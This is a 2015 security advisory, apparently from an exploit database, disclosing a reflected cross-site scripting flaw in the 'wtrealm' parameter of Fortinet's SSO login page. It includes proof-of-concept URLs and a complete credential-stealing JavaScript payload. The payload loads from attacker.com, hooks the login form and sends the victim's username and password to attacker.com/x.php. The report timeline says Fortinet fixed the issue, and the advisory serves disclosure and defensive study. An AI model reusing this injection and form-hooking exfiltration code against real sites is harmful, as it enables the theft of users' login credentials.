######################################################################
# Exploit Title: fortinet.com Reflected XSS Credential stealer
# Date: 04/12/2015
# Author: Yann CAM @ Synetis - ASafety
# Vendor or Software Link: www.fortinet.com
# Version: /
# Category: Reflected Cross Site Scripting
# Google dork:
# Tested on: Fortinet sub-domains (login domain)
######################################################################
Fortinet description :
======================================================================
Fortinet, Inc. is an American multinational corporation founded in 2000 by brothers Ken and Michael Xie. The company sells high performance network security products and services including their flagship integrated network security solution, the FortiGate firewall. Fortinet distributes its systems and subscription-based services using the channel partner sales method via more than 20,000 partners worldwide. Fortinet is positioned as the revenue leader in unified threat management (UTM) solutions.
Fortinet competes in the UTM and network security industry, and has the third-highest market share in security appliances after Cisco Systems and Check Point.
Vulnerability description :
======================================================================
A reflected Cross-Site Scripting vulnerability was identified in login.fortinet.com IdP-SSO page.
To access protected resources on searchsupport.fortinet.com or forticare.fortinet.com, users are redirected to login.fortinet.com to login (Single Sign-On federation through uniq IdP).
This IdP suffers from a RXSS, and a malicious user can catch all credential (login / password) in plaintext (demonstration : https://www.youtube.com/watch?v=vDYdBMeZ7fc).
Through this vulnerability, an attacker could tamper with page rendering, redirect victims to fake Fortinet portals, or capture Fortinet's users credentials.
This vulnerable parameter is not properly sanitized before being used in pages.
Proof of Concept 1 - login.fortinet.com - RXSS alert() canonical :
======================================================================
A non-persistent XSS (RXSS) in "wtrealm" GET param is available in the SSO domain of Fortinet.
Tested on Firefox 42.0.
PoC:
https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP
Proof of Concept 2 - login.fortinet.com - RXSS third party script :
======================================================================
Through this XSS, a malicious user can load a third-party JavaScript file in the login.fortinet.com browser's context.
The next quick'n'dirty JavaScript file can illustrate the availability of an attacker to grab all credential in plaintext.
Tested on Firefox 42.0.
PoC:
https://login.fortinet.com/login.aspx?ReturnUrl=/?wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP&wa=wsignin1.0&wtrealm=https://searchsupport.fortinet.com/<script>s=document.createElement('script');s.setAttribute('src','//attacker.com/x.js');document.body.appendChild(s);</script>&wctx=rm=1&id=passive&ru=/default.aspx&wct=2015-11-02T13:37:32Z&LoginMethod=LDAP
x.js hosted on "https://attacker.com/x.js" :
//alert(/Yann CAM - Security Consultant @ASafety - SYNETIS/);
// Add JQuery dynamically if needed
var headx=document.getElementsByTagName('head')[0];
var jq= document.createElement('script');
jq.type= 'text/javascript';
jq.src= 'https://code.jquery.com/jquery-latest.min.js';
headx.appendChild(jq); // jquery dynamic loading
// function to send through GET the login/password of the victim to the attacker's server
function sendX(login, passwd){
var x=document.getElementsByTagName('head')[0];
var y= document.createElement('script');
y.type= 'text/javascript';
y.src= 'https://attacker.com/x.php?LOGIN='+login+'&PASSWD='+passwd;
x.appendChild(y);
}
// function to recover the form submit action event
function submitX(){
document.forms[0].onsubmit=function() {
return true; // enable the form "action"
};
document.forms[0].submit();
}
// function to hook the login form and add an onsubmit action (before the form action)
function loadX(){
$( document ).ready(function() {
$("#contextHolder_InvalidRPAddress").html(""); // clean the error message on the page
document.forms[0].onsubmit=function() {
login=document.getElementById("contextHolder_Login_name").value;
passwd=document.getElementById("contextHolder_Login_password").value;
sendX(login,passwd); // retrieve login/password
setTimeout("submitX()", 1000); // recover initial form submit action
return false; // block the form "action"
};
});
}
setTimeout('loadX()', 2000);
Demonstration video :
======================================================================
- https://www.youtube.com/watch?v=vDYdBMeZ7fc
Screenshots :
======================================================================
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_001.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_002.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_003.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_004.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_005.png
- https://www.asafety.fr/data/20151102-Fortinet_Login_Portal_RXSS_006.png
Solution:
======================================================================
Fixed by Fortinet Security Team.
Additional resources :
======================================================================
- https://www.fortinet.com
- http://www.asafety.fr/
- http://www.synetis.com
Report timeline :
======================================================================
2015-11-06 : Fortinet PSIRT Team alerted with details and PoC.
2015-11-27 : Fortinet PSIRT Team response with thanks and open a ticket.
2015-12-02 : Fortinet PSIRT Team fixe the issue and ask to check the correction.
2015-12-03 : Fix confirmed and ticket closed.
2015-12-04 : Public advisory.
Credits :
======================================================================
88888888
88 888 88 88
888 88 88
788 Z88 88 88.888888 8888888 888888 88 8888888.
888888. 88 88 888 Z88 88 88 88 88 88 88
8888888 88 88 88 88 88 88 88 88 888
888 88 88 88 88 88888888888 88 88 888888
88 88 88 8. 88 88 88 88 88 888
888 ,88 8I88 88 88 88 88 88 88 .88 .88
?8888888888. 888 88 88 88888888 8888 88 =88888888
888. 88
88 www.synetis.com
8888 Consulting firm in management and information security
Yann CAM - Security Consultant @ Synetis | ASafety
--
SYNETIS | ASafety
CONTACT: www.synetis.com | www.asafety.fr